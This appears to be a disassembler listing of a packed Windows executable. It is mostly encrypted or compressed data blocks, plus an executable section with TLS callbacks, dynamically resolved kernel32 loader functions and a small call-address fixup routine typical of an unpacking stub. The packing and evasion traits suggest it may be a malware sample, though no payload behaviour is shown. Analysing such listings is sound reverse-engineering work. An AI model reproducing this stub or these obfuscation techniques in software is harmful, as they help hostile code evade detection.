dd 97149424h, 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh
dd 1ADB5345h, 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h
dd 99659D6Dh, 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h
dd 1E8F00F3h, 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h
dd 53448C2Ch, 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h
dd 301E548Ah, 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h
dd 3BC44345h, 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh
dd 6B505B2h, 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh
dd 0F1191845h, 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h
dd 0B93DCECh, 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h
dd 42C3F180h, 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh
dd 0B690D70Fh, 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h
dd 310A892h, 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh
dd 371D1500h, 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h
dd 0A08A565Fh, 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h
dd 51F3012h, 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah
dd 0E0E031F8h, 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h
dd 0D0035FEh, 189044A8h, 8490925Dh, 49DE4615h, 0A213CCF6h
dd 518D0A1Bh, 308A5027h, 0A3888152h, 7A401A47h, 45ABA1A4h
dd 6C468A1Ah, 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh
dd 0A53A2873h, 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C165D228h
dd 3DFA6395h, 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h
dd 182B28C0h, 380h dup(0)
he5_4aoe ends
; Section 5. (virtual address 00021000)
; Virtual size : 00024000 ( 147456.)
; Section size in file : 00024000 ( 147456.)
; Offset to raw data for section: 00021000
; Flags E00000E0: Text Data Bss Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
lsqvqpii segment para public 'CODE' use32
assume cs:lsqvqpii
;org 421000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 0CCh
db 10h, 2, 0
align 8
dd 0FFFFFFFFh, 2103Ch, 210B4h, 21108h, 0
dd 0FFFFFFFFh, 210E8h, 21104h, 5 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h
dd 73736572h, 0
dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h
dword_4210B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_42F0DC+51r
dword_4210B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_4210BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4210C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; lsqvqpii:loc_42E0B3w ...
dword_4210C4 dd 7C809A51h, 7C809AE4h, 2104Ch, 21060h, 21070h, 21084h
; resolved to->KERNEL32.VirtualAlloc ; DATA XREF: lsqvqpii:0042EFC5o
dd 21094h, 210A4h, 0
dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h
dd 41h, 7E45058Ah, 210F4h, 0
TlsDirectory dd 0
TlsEnd_ptr dd 0
TlsIndex_ptr dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex dd 0 ; DATA XREF: lsqvqpii:TlsIndex_ptro
TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: lsqvqpii:TlsCallbacks_ptro
dd 0
; =============== S U B R O U T I N E =======================================
sub_421134 proc near ; CODE XREF: sub_42CF38p
; lsqvqpii:0042E64Bp
push esi
push ecx
mov esi, eax
mov ecx, edx
sub ecx, 4
cld
loc_42113E: ; CODE XREF: sub_421134+21j
lodsb
shr al, 1
cmp al, 74h
jnz short loc_421154
mov eax, [esi]
bswap eax
add eax, ecx
mov [esi], eax
add esi, 4
sub ecx, 4
loc_421154: ; CODE XREF: sub_421134+10j
dec ecx
jg short loc_42113E
pop ecx
pop esi
retn
sub_421134 endp
; ---------------------------------------------------------------------------
db 8Bh, 0C0h
dd offset sub_401000
dd 6000434Ah, 1, 717E0000h, 3B4420D5h, 1C1DCC09h, 23F0889h
dd 0B83E97F0h, 5E81C23Eh, 7702E8Ah, 291C8940h, 1C2173CCh
dd 0B4040504h, 17FFF848h, 0C6970601h, 4E123446h, 43D07Fh
dd 0AC92A87Ah, 0CAFEF739h, 0E1FE60ECh, 32680D7h, 4EEB4AD5h
dd 1529C4C8h, 8C1E0829h, 90C2700Dh, 785097C0h, 1F4371h
dd 0F2002619h, 6040E397h, 9D8DCC10h, 0E7A3B8h, 8DEC46A8h
dd 5DF2D3FCh, 0AFF14F0h, 635B267Ah, 181B41Bh, 422950FEh
dd 712CC218h, 6880A26h, 5EBA1EF4h, 754DD20h, 45689816h
dd 148206EBh, 73564218h, 4E0FA4CAh, 0C8C50AEh, 7468890Ch
dd 0E862C231h, 9044F0B5h, 0BAA0CA8h, 0E122B0BCh, 0F8EC8237h
dd 7125BE9Fh, 34485CD8h, 3C350902h, 19011D79h, 8001119Ah
dd 0E4DA42D1h, 20A1022Dh, 3609863Dh, 80962BA2h, 0B80F7AC4h
dd 67CAD013h, 28CF402Ch, 91C2876h, 7F900254h, 2405C5D3h
dd 0D5223E46h, 88203077h, 1412C87Ah, 69D39CDAh, 6A554099h
dd 0FCFDF0D7h, 81B55260h, 0A402CFC4h, 78DD945h, 0D36B2A43h
dd 0A321AE00h, 4B879386h, 0B11030h, 5D64EFA8h, 0C5A6F8AEh
dd 51282A6h, 7BD63709h, 0B261765Fh, 7461A1F9h, 238D39ACh
dd 0CBB73481h, 0ABDAFDC7h, 26AD4150h, 0C44A3590h, 0E412EAA2h
dd 97595444h, 0B0B540BAh, 506487EDh, 0C2328065h, 8B0ABA48h
dd 0B45BA89h, 0B2CAB253h, 0C9961302h, 6E44577Fh, 0E0B159F0h
dd 52910627h, 5D623D4Ch, 81848BA2h, 7B156A40h, 0C0F41132h
dd 0D1DA6667h, 0A8C1A1A7h, 0A8130731h, 0DB4B82A2h, 1CA5202h
dd 2A1A4444h, 0E3C282CEh, 1A064C01h, 443C865Fh, 8A053B8h
dd 3ABCC2Ah, 28A05DB5h, 1DE24FDAh, 91E8BB04h, 0BC9908A5h
dd 7BAA9C7Fh, 0F6D01333h, 4D3F8186h, 2036B4C3h, 0CD8D8B45h
dd 41266314h, 3C0000E6h, 0A3525E2Dh, 6887F7C6h, 6306086h
dd 2573E195h, 58399A6Eh, 18AB50A4h, 1F164F23h, 0FBEF159Ah
dd 0F0300507h, 2303D88Dh, 0ADC964E2h, 859449h, 0C6DE24Ah
dd 0DC59D199h, 6515B280h, 4423844h, 509E628Dh, 40972578h
dd 1CF49EA8h, 16A06867h, 92B163F8h, 71263EBh, 0B01B96F1h
dd 824D15F8h, 53490309h, 3601960Dh, 65321B50h, 581A8A40h
dd 0B59222F1h, 98463058h, 11003621h, 0F296967Fh, 79AF69E4h
dd 27C8F38Ch, 4035180Dh, 90C29A59h, 4CA00E4h, 3C78965Ch
dd 68AC5940h, 4B87CDAh, 0B8EBA539h, 0D0367E1Ch, 0C25029DAh
dd 0B2921237h, 3749531Ah, 2E604EF8h, 75F30Dh, 0F7A4F832h
dd 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h, 462E615Ah
dd 4828A618h, 0A1451A78h, 40906529h, 0B495D931h, 97149424h
dd 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh, 1ADB5345h
dd 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h, 99659D6Dh
dd 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h, 1E8F00F3h
dd 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h, 53448C2Ch
dd 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h, 301E548Ah
dd 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h, 3BC44345h
dd 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh, 6B505B2h
dd 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh, 0F1191845h
dd 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h, 0B93DCECh
dd 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h, 42C3F180h
dd 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh, 0B690D70Fh
dd 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h, 310A892h
dd 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh, 371D1500h
dd 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h, 0A08A565Fh
dd 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h, 51F3012h
dd 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah, 0E0E031F8h
dd 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h, 0D0035FEh
dd 189044A8h, 8490925Dh, 49DE4615h, 0A213CCF6h, 518D0A1Bh
dd 308A5027h, 0A3888152h, 7A401A47h, 45ABA1A4h, 6C468A1Ah
dd 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh, 0A53A2873h
dd 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C165D228h, 3DFA6395h
dd 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h, 182B28C0h
dd 310605BDh, 10AB05C4h, 82D29A3Fh, 8ADAA42Dh, 76211B75h
dd 0DD75348Bh, 0D71714EFh, 5C084363h, 0C62B411h, 1FA4863h
dd 29F6E5AEh, 0A930E07Bh, 0C5A32E1Eh, 5C3B8385h, 0E11D4F03h
dd 0A5ADCF67h, 1ACE1A21h, 0E565748Dh, 690081F1h, 0B148E95Ah
dd 0DB17E0C7h, 70A4CC8Ah, 0C2979E59h, 4E3E1225h, 0C3135B3h
dd 0BDC617D1h, 0EC1EA9F7h, 0F10C9F04h, 0DFA697D8h, 0ECC027CBh
dd 0E671A9A8h, 2E09AD00h, 846D104Fh, 953E9185h, 0A2A14555h
dd 0EC7E6394h, 7623944Ch, 537B117Ch, 38421ADEh, 6A12E89h
dd 20FA0853h, 0CBB88F83h, 96944407h, 404EA16Ah, 11EEAD54h
dd 0D11BD07Fh, 8884381Fh, 37A9D1B9h, 0C5B590B3h, 4061D044h
dd 330F6362h, 71835371h, 93311F27h, 359A3BC0h, 5AE4CADh
dd 9290004Ch, 0C5F1DA60h, 306CBCD5h, 6C5A3F81h, 0A37096C8h
dd 0A1B38BADh, 1786238h, 70111C8Ch, 62DD51Ch, 59AC36BEh
dd 0F51867C9h, 2920FC7h, 0D2165795h, 6E660A2Ah, 0E1F41896h
dd 9D4FA4Fh, 401E7AD4h, 72375FE5h, 5DD6D872h, 0D7A9B00Dh
dd 23358E42h, 0AC92F0FDh, 0E42AD1AEh, 91D06591h, 1AF7A4A1h
dd 55411C18h, 0C207D201h, 4981CA2Eh, 0A1DFDD2h, 4268DEB1h
dd 97D12CDh, 0E473B6F2h, 0AF58AA14h, 53F001AEh, 804CD627h
dd 0F3B9C3h, 0B6ACAD16h, 160B0693h, 0E6B02E72h, 0BAA15B9h
dd 72A2471Bh, 40899853h, 0EF5BE47Ah, 90C69EC1h, 0D87ACDAEh
dd 0DCA84240h, 0A0225A2Ch, 0A56BA046h, 1FE7914h, 0AE4A975h
dd 6502C426h, 0CC536986h, 523FD59Ah, 0C9FA4579h, 0A3669C9Ch
dd 2ABDA3A4h, 865F0C68h, 91EB69D6h, 68562081h, 4A8B81ACh
dd 984C1CEDh, 68CACE8Dh, 0AE9A932Ah, 8F1A9889h, 6609ACB9h
dd 0E85C9689h, 606CCCB6h, 15375437h, 7957871h, 0B515FEBDh
dd 8F3D1E6h, 99B93352h, 23965A8Ah, 0B1400481h, 0EC0C88C0h
dd 8834552Bh, 0E4AE6516h, 0C12A1B09h, 0D15BD114h, 0AD46CA0h
dd 0ACCC2E0h, 0D1F4C027h, 47ADB43Eh, 419254F5h, 920FFC82h
dd 305EB22h, 0FBFDD23Ah, 86351511h, 7EC3AD05h, 0C04484A0h
dd 54D68962h, 0F37D700Eh, 0C3A70069h, 0DB440479h, 9AD9361Bh
dd 818C40EAh, 0EFFD4979h, 0B5ED7EC3h, 7596E0F4h, 0AC7C8958h
dd 899F15EBh, 65923F23h, 4927BC0Dh, 0DA09FE0Fh, 66CFE844h
dd 304B16Dh, 0FE2FCF66h, 21D68953h, 8C7E5738h, 0FF113174h
dd 5C4992D2h, 36DA2D44h, 6B14C54Ch, 1398E53h, 0DE808B92h
dd 26051044h, 0B1BBD2D3h, 5F318240h, 0B40C28ACh, 20666B2Ch
dd 0D1A923F1h, 0C4AD1D85h, 681188D0h, 0DB97504Ch, 8431B2B4h
dd 6038F7Ch, 7159B370h, 0DB7CB94Bh, 97348DCBh, 978FCCCDh
dd 0B0DD22CDh, 0BE520D29h, 975580AEh, 0A306A073h, 0CB6B1A28h
dd 387A5639h, 0B98BB29Dh, 0CEE490DCh, 11FB07FCh, 42108884h
dd 6FBFE41h, 231C976Ch, 181D39D8h, 0D7A4ADh, 706C08A3h
dd 0F423626Bh, 0BBB168BEh, 142DAA24h, 0A200C923h, 116FCFCh
dd 9689D314h, 8AD2A427h, 7C50A28Fh, 629A0531h, 1A75494Ch
dd 0CC093F3Ch, 29689C89h, 24E38E4h, 47CAA399h, 5C323FF7h
dd 0F64C0FDDh
dd 43077211h, 8034022Ah, 17628A61h, 221FB239h, 0A16FB807h
dd 8B47657Bh, 7E575CCDh, 0F309A760h, 294212A8h, 9A888AE2h
dd 8EA0631Fh, 8ACD02Ah, 0C23E32C4h, 82A7286h, 0C1328BF0h
dd 42D5FC91h, 4C488172h, 22BD0256h, 9B9C0C10h, 0A27A9F94h
dd 225D0A60h, 1B5184EFh, 73691C17h, 429E16CCh, 0A183EEB5h
dd 44DEB43Eh, 8F1168C4h, 0E83CFBA0h, 4AF2264Fh, 1620304h
dd 0BADF7D5h, 0B2823944h, 69BB71h, 655D7D91h, 8C1BC6C4h
dd 852BAD17h, 91438172h, 34E33942h, 0D0A2E880h, 55961207h
dd 813EF737h, 46179674h, 55B16ED1h, 91683F79h, 0F5419183h
dd 62455BF1h, 943FEE74h, 91A19BEBh, 9C7EEB45h, 46815A40h
dd 0FCA13EF8h, 5A25D4D9h, 0A9294A91h, 0C7A9C978h, 3548803Ch
dd 160F484Fh, 2D72462Dh, 0DCDA5112h, 66BB763h, 0DE97A86Bh
dd 1FCB65F6h, 0E9A02203h, 0C16EA424h, 977161D9h, 0BABDB2B6h
dd 677BE409h, 0AB3C9992h, 7FE16B3h, 79319848h, 142C8BF8h
dd 54325A18h, 0C15AC02Bh, 0EF6593B7h, 0EA88A3B1h, 23A0A7D3h
dd 8ED6034Fh, 3A613BCh, 0D3D0A0E4h, 0CDA13280h, 382849ABh
dd 50128978h, 0F2D17B2Ah, 342A768Dh, 0AD13F4C1h, 98F1A441h
dd 0A23CD8CAh, 0D3D4AB35h, 0DCF16AA6h, 723C96CEh, 1D621E35h
dd 678846B0h, 1F44D4BDh, 0CE77D6F8h, 0E23501AEh, 45FBD85Dh
dd 151002B9h, 2157B628h, 23918ECh, 98A0788Fh, 0B80DE237h
dd 0A367F208h, 45693C47h, 4DB46DB0h, 0E5C80280h, 0B45FDB72h
dd 427C5654h, 878C3D70h, 4E18A27Ch, 91207306h, 2006B87Ah
dd 20C81888h, 22DB3144h, 2AE94617h, 66D6D0Ah, 0FC20910Ah
dd 213871B8h, 0FAA4501Dh, 91C12E3h, 88145CC4h, 90A0453Eh
dd 0B82A4C73h, 1B303104h, 90AE8B96h, 0AA3BC96Ah, 0C3915568h
dd 92A3A2F9h, 0A289005Fh, 2AA48451h, 0C96A4165h, 0FC0B9B30h
dd 78118334h, 7E987024h, 0BC154A53h, 30EF9C44h, 4CE06D1Ah
dd 818C8422h, 0B4549CAh, 0A96F01B1h, 0F27CF0E2h, 3419D388h
dd 5590AB31h, 445E4184h, 0C2D8A545h, 45BC79FAh, 345BCFA3h
dd 5B85D8CBh, 0B024DA04h, 354B204Fh, 0A04CE40Bh, 9ECB9FD8h
dd 688017ABh, 441D7B3Fh, 0DD4834D2h, 41AAC924h, 14D54215h
dd 0FE7ED1F4h, 0CD6A450Ch, 0FE9DC60h, 0C3071146h, 2185FD64h
dd 86DD4E9Bh, 61F6C725h, 877F8F14h, 5D11F250h, 989C08Ch
dd 68C8E368h, 0B2D12A8Dh, 0F63CB632h, 0E4DA9D68h, 2F80108Ch
dd 2EA8779Dh, 6BB67D97h, 8515FD8Ch, 2D1D2D88h, 0FBE8862Bh
dd 12E98644h, 81FC8C5Dh, 0EECC0EC5h, 83D2EC2Eh, 0A845A4A9h
dd 5A38F902h, 0F2500C22h, 81A1028Ah, 93F01362h, 35017700h
dd 9DE428E0h, 653FBAB6h, 0E64B69EDh, 815C8920h, 5B901888h
dd 19EDA20Dh, 0FC00FDB9h, 0E48136B4h, 0B02E3192h, 1AD80570h
dd 870D531Ah, 56559843h, 4365F7DCh, 0B41AB519h, 9ED4CD63h
dd 37194715h, 0FA4654A6h, 7820E442h, 81D69476h, 6925C583h
dd 57C18B6Ch, 110A92h, 2EDD1B4Fh, 0E0DD722Ah, 676266D7h
dd 58CA9CE8h, 818D89Dh, 6B32838Ch, 0A5029023h, 0E8F35084h
dd 4C56EA82h, 1446436Eh, 6CAC2850h, 2C637FC1h, 195C358Eh
dd 5151BB4Ah, 0C296BBC0h, 60C6BEE7h, 0D35D5845h, 6C6B9DB4h
dd 14F9A38Ch, 0B40E7974h, 0E497EDD2h, 0CF742510h, 58E30C25h
dd 9BB732ECh, 0D1D171F0h, 0DD403F29h, 0A8DCD153h, 469B6EE8h
dd 918832F8h, 0D607987Bh, 0A2103195h, 0D1AFE7CFh, 0EE27855Eh
dd 390B7CFBh, 24FCE51Fh, 0AD839ACDh, 1F133A0Ah, 16E8D2DEh
dd 81E9AE3Eh, 2D02615Eh, 6230A7E5h, 59B5B89Dh, 4EC6B7C0h
dd 0A05B47DBh, 0D989EF6Fh, 6EA2F3D5h, 6A29EA98h, 0F49C7E51h
dd 6733C4E0h, 598B220Ch, 5C8CF4CDh, 913A6906h, 7AD53986h
dd 16051FB4h, 0E53007B4h, 710DBE47h, 91195FDh, 664A21E5h
dd 0CC4D7E66h, 30DAB9EBh, 16446055h, 8901CC05h, 11CCB07Fh
dd 0C456C92Bh, 0E46CCCD8h, 2B57887Ah, 46F08331h, 951C1171h
dd 805A1C97h, 8E3BE156h, 0F2AAD3h, 52185425h, 0F8016011h
dd 0FC243C52h, 640A250h, 95836DDCh, 89D33676h, 0DD6C79A8h
dd 8F1D6585h, 88185638h, 33634C30h, 3C8C5030h, 0A09C6472h
dd 0B576B0C2h, 1A484BEEh, 46BC3E30h, 0F67F2CADh, 97319634h
dd 1C18BA52h, 18FCE99Bh, 0A2CAD631h, 0D242A830h, 0D2487D28h
dd 50679588h, 85F2DCE9h, 2B9305C9h, 893476C3h, 1AC9BFCh
dd 18833B8Dh, 9C45530Fh, 854B10D6h, 0DF91AC53h, 0A76D015Dh
dd 4BAD134Eh, 7D3F5447h, 25A201DEh, 0F2C62F74h, 4BBEA010h
dd 0E6BDA879h, 39BE521Dh, 0A0D669A2h, 2D2B9E5Ah, 0CA228A43h
dd 93525991h, 0A2702F73h, 0CFEA0495h, 75111977h, 0A03138C2h
dd 823B8C39h, 0C962B689h, 34BD4F51h, 0ABD43E90h, 0D0C472F5h
dd 0A9DC228Ah, 45C35E5Ah, 985DD511h, 0B908E863h, 0E6119660h
dd 56F5968Fh, 0E110B634h, 0DD1F68E7h, 9B00688h, 546D6BC0h
dd 28151205h, 5C57660Eh, 1CDE0509h, 4535BFD0h, 69D58151h
dd 6AE01BDh, 0DBEA392Ah, 0F0D02C86h, 5C4D8DA3h, 0D28BABCFh
dd 4E730A00h, 0BA62C285h, 0A9933088h, 0F3CCC3EDh, 54D5F8A6h
dd 2CC32C36h, 6F922B11h, 0ED2CD8FCh, 0F87E85BFh, 4BADF16Ah
dd 85121685h, 0B9404D98h, 59E387F8h, 60E2100Fh, 92C6220Fh
dd 939EDA1h, 0BFDB59E5h, 124C4105h, 5A326CBAh, 45DC4AA4h
dd 0D3E8E102h, 440CDD48h, 9D41AAEh, 0E228B9AEh, 158FA908h
dd 54040350h, 0FA4C4AC9h, 5045C6D4h, 1A5232FCh, 0CB413F08h
dd 8B4442F5h, 224276B4h, 983A12DAh, 5589830h, 7E418DA8h
dd 127890CFh, 0D1081506h, 0A3E09707h, 990CC252h, 7F5B7AA3h
dd 0D5D02E97h, 8B290801h, 0C9FC102Eh, 91142281h, 5D02FB84h
dd 272BC036h, 6CC2D4FCh, 71A9147Dh, 61B622A4h, 3FDBEACAh
dd 6C152E97h, 0B6E3D77Fh, 5B5AEB0h, 0BA8072D2h, 231BD50Eh
dd 968BEB46h, 0E17A4BF1h, 82EDA688h, 0FC8200D4h, 68E1263h
dd 34CF8EECh, 22B6AD39h, 0E266944Ch, 22B60BA2h, 0ED6ED14Ch
dd 0E3020FE3h, 655F9BCEh, 548AA703h, 0CA70551Bh, 0C6A82FDCh
dd 0DEC4E50Bh, 0CA5AFCA5h, 0EF440A30h, 0E058A104h, 0B655EC2Bh
dd 2298BA10h, 14F356DBh, 61870B24h, 85FABC46h, 9C48B585h
dd 8801667Eh, 6C863022h, 5FBFA7E7h, 8D5B21ECh, 843F5E7Eh
dd 0A82CD905h, 19753B63h, 6246B028h, 0D1FC059Ch, 49B1644Ah
dd 2952C2BFh, 0CA35F373h, 0A2782B3Fh, 0D32A8ADh, 59FBB21Ch
dd 0CE01C76Ah, 194CC49Eh, 0BF840555h, 0CBEC383Ch, 514760h
dd 5D8CFA85h, 0F40648D9h, 0E9C02C0Eh, 9833A4A0h, 0C4C8BBCCh
dd 3B52E97h, 28311A18h, 23A054C8h, 0F5DB5013h, 0C6A56546h
dd 0B061D838h, 0ED5072B1h, 2574934Ah, 7F514CCAh, 0B9EB94A6h
dd 0C48D25FEh, 9748425Bh, 4B084D00h, 4AC8892Bh, 4A808922h
dd 4A488919h, 0DCC88910h, 28ED69FCh, 5DC7A35Dh, 2B30FE40h
dd 878CBBD8h, 0CC328C3Bh, 14065Fh, 550EC5h, 0F5BFC0h, 6761AC38h
dd 448B0208h, 0E11EC022h, 0DB440626h, 8F68E223h, 423D7B38h
dd 0B48811EDh, 6FE1AC47h, 0A9EAF124h, 94C6CA82h, 6D3B8A78h
dd 32E9988Bh, 1D84A4Bh, 8FCFE952h, 0A96BC375h, 5CFAF367h
dd 71C1574Ch, 0EE407F91h, 4E29F272h, 920BB310h, 4F53E824h
dd 66E5BC35h, 70B30C8Dh, 0D5C567Dh, 0E5C1D286h, 0C0CE0CAAh
dd 45F8445Eh, 562814DBh, 9193946Bh, 34A46F70h, 0E05114D0h
dd 8FFB9EC4h
dd 0B1E2307Ch, 7A3DBC34h, 785D7485h, 23CC29C1h, 8D45F9F9h
dd 0F7E61240h, 26976D13h, 5C7059h, 0C8DA2437h, 2202E189h
dd 0A44983DCh, 7114C4F1h, 42BFE238h, 0A1B91508h, 1C78251Eh
dd 510B54Ch, 0A10CEE62h, 560885Ah, 116F5A01h, 0FA1C2BC2h
dd 30D48B98h, 0E892A8FEh, 8E065E83h, 2AF1A59Bh, 17619022h
dd 0D6540A45h, 21BCCCDh, 4E9640A7h, 38F46615h, 0C6222C58h
dd 0B490779h, 4032D90Dh, 5B42BDC8h, 2C9B7216h, 0E1BCD015h
dd 10C498DFh, 43884D22h, 0C8A3D0Ch, 1826885Ah, 4C261B42h
dd 12007102h, 89A060F8h, 597A582Fh, 441AC60Dh, 587E8D5Ah
dd 0F225118h, 85C7450h, 0C9178115h, 278E6F46h, 0F31E51C1h
dd 1FB9E304h, 0A5942B7h, 0ADCA5282h, 2A0E7C0Bh, 8B9F85D2h
dd 4208D748h, 0CC424344h, 5F880793h, 31A2102Fh, 6BE0170Eh
dd 0F5BC173h, 28A4C2Ah, 3134F791h, 0E4511FAFh, 8268F1E5h
dd 0BE4D13CFh, 31707937h, 58D13C7Ah, 4A876D96h, 0BC37254h
dd 0CEF67051h, 6194FBF0h, 52230DFCh, 72B3268h, 45076ADCh
dd 25F862D0h, 37C89830h, 0C0C4898Dh, 2C1E5EABh, 0E3ABC520h
dd 0A4525010h, 10B4E440h, 1AD2E6F1h, 0C4AB058Eh, 0A48F89BCh
dd 42D0A090h, 6C8A9B84h, 28636628h, 118726E1h, 811B081Ah
dd 3505527Fh, 35C86486h, 0A7B129A0h, 5185EFEAh, 4CC27A1h
dd 0E4D61594h, 4BA43733h, 18C4B7D1h, 2982F854h, 0B1F1A6h
dd 6381B340h, 840F189Eh, 0B30DCFFEh, 0CE609013h, 9028FCCFh
dd 171F4C69h, 2B79E28Ch, 3C282AA7h, 0F0D31139h, 71E583B9h
dd 0BE4B4823h, 2324D57Ch, 399A424h, 0D126124Fh, 63898456h
dd 4E44702Dh, 0B1A9CB3h, 7EFD0BA2h, 0C5E701B8h, 15A8CD91h
dd 2EBB60B0h, 16A47E13h, 408C850Ch, 211CAE10h, 7BD08E24h
dd 843C4B0h, 61AB1A1Eh, 6B6A9860h, 0E3F2C0A8h, 0CD20B4Ah
dd 409CECEh, 0A6D817Fh, 0C1127202h, 0DC19981Fh, 59E2BC3Ch
dd 23265D1h, 0F42C1789h, 8935EC4Ah, 59291524h, 7350EE03h
dd 69783E3h, 28E8276Ah, 51A266BAh, 91A3E1C4h, 5E56998Bh
dd 9A023E08h, 9902E5A0h, 6F0836Fh, 5FD528A6h, 6916A839h
dd 0BA92515Eh, 5EF57A00h, 0CA7D6A1Fh, 0F94FCA17h, 23AA1919h
dd 289146Ch, 0F4119390h, 11ACF585h, 0B3E997A8h, 6721F2CCh
dd 3E80271h, 0F622FB7Eh, 471128A2h, 2758CCBEh, 86EBF98Ah
dd 0D102B1Fh, 0A4BE6A87h, 0FE19747Dh, 1BB68A7Fh, 2849C259h
dd 797BE347h, 0DEAB7C4Dh, 53505C54h, 0C48918B0h, 0AE6459E1h
dd 0CDF822A7h, 4457C4C8h, 5FBEE48Ah, 7468656Eh, 4E56E05Fh
dd 0C28E1647h, 0A2A64793h, 84AE3A2Eh, 575DF174h, 31688E6Ah
dd 68231CFAh, 0B820D062h, 0F44E2354h, 52BEB52h, 5CACD178h
dd 0A02FA9C0h, 824C25A3h, 85885A96h, 0AB4A4FCAh, 0AFFA2A1h
dd 2112D158h, 6B1F6275h, 26D598C2h, 0A26D44A0h, 92260449h
dd 22895444h, 108AC591h, 443DB571h, 2C886D60h, 0DAD0884Dh
dd 0C4369D04h, 0E57B89C8h, 1B401B8Eh, 9D6C532Dh, 309A9F38h
dd 310944D0h, 10D2C551h, 44B2B5D1h, 7F146D78h, 1CCA3307h
dd 12981902h, 1E447611h, 0D8C4C26Bh, 0D0B29E26h, 2358B073h
dd 84A1779Dh, 0BAC78027h, 506E8C44h, 6804B8F0h, 1CB7C44Dh
dd 2A0740A0h, 0EC0A5380h, 6806DECh, 0DC012D13h, 0CA237BE0h
dd 713B4414h, 0A2180306h, 0E8230095h, 0D792C4FDh, 0D10FE7A5h
dd 0DE32F661h, 125EDC2Ah, 0C4A2A95Fh, 0ADB6B4Dh, 0B57F24F9h
dd 0A1EEFB46h, 179797BAh, 0A9EE5F31h, 0DEA6E4CAh, 1A77F90h
dd 3791F44h, 739F589Dh, 0B1656EBh, 0C727E063h, 895A28EFh
dd 2EE21312h, 0BEED3C8Fh, 0E7F215CEh, 401A699Eh, 0F3E241CAh
dd 8520B1A0h, 78773A85h, 0C1C3EAFBh, 2F5F3F8Ch, 82204B10h
dd 0C9F00D62h, 3221AB90h, 0BAD946A4h, 0F6A2E3EDh, 848489D8h
dd 424A00D2h, 5B396D82h, 3FC4388Ch, 116304D8h, 2E8A42EDh
dd 0E90F8CC6h, 791E173Ah, 648ADF41h, 9833E760h, 0D578DA00h
dd 80863B9Eh, 617859C9h, 8A09FB92h, 1CF20724h, 0D873F7DBh
dd 77609A02h, 0CF0DB194h, 1F66DECCh, 55456F5Dh, 46283C98h
dd 9EA07474h, 0A565D1ABh, 66C0196Eh, 89AA5E1Ah, 8A4F8AAh
dd 0BC763EDFh, 5DB1A68Bh, 40F4BCBEh, 0B1D4B5CEh, 3E9C6314h
dd 6576B022h, 483AAD0h, 0EF3C557Eh, 4576CAA1h, 0E990FE91h
dd 4A9FD362h, 1055675Eh, 0D629350h, 67D3DB3Dh, 0CF515C53h
dd 354594F9h, 0D1A668A2h, 0DA405FB7h, 722EC80Dh, 0C073235Bh
dd 0A207B803h, 48244074h, 0BD7D0619h, 68700405h, 91E2A6C1h
dd 414A4D6Dh, 0AF819C1Fh, 93F4656Fh, 0AF5CF0BFh, 0FAD80CF3h
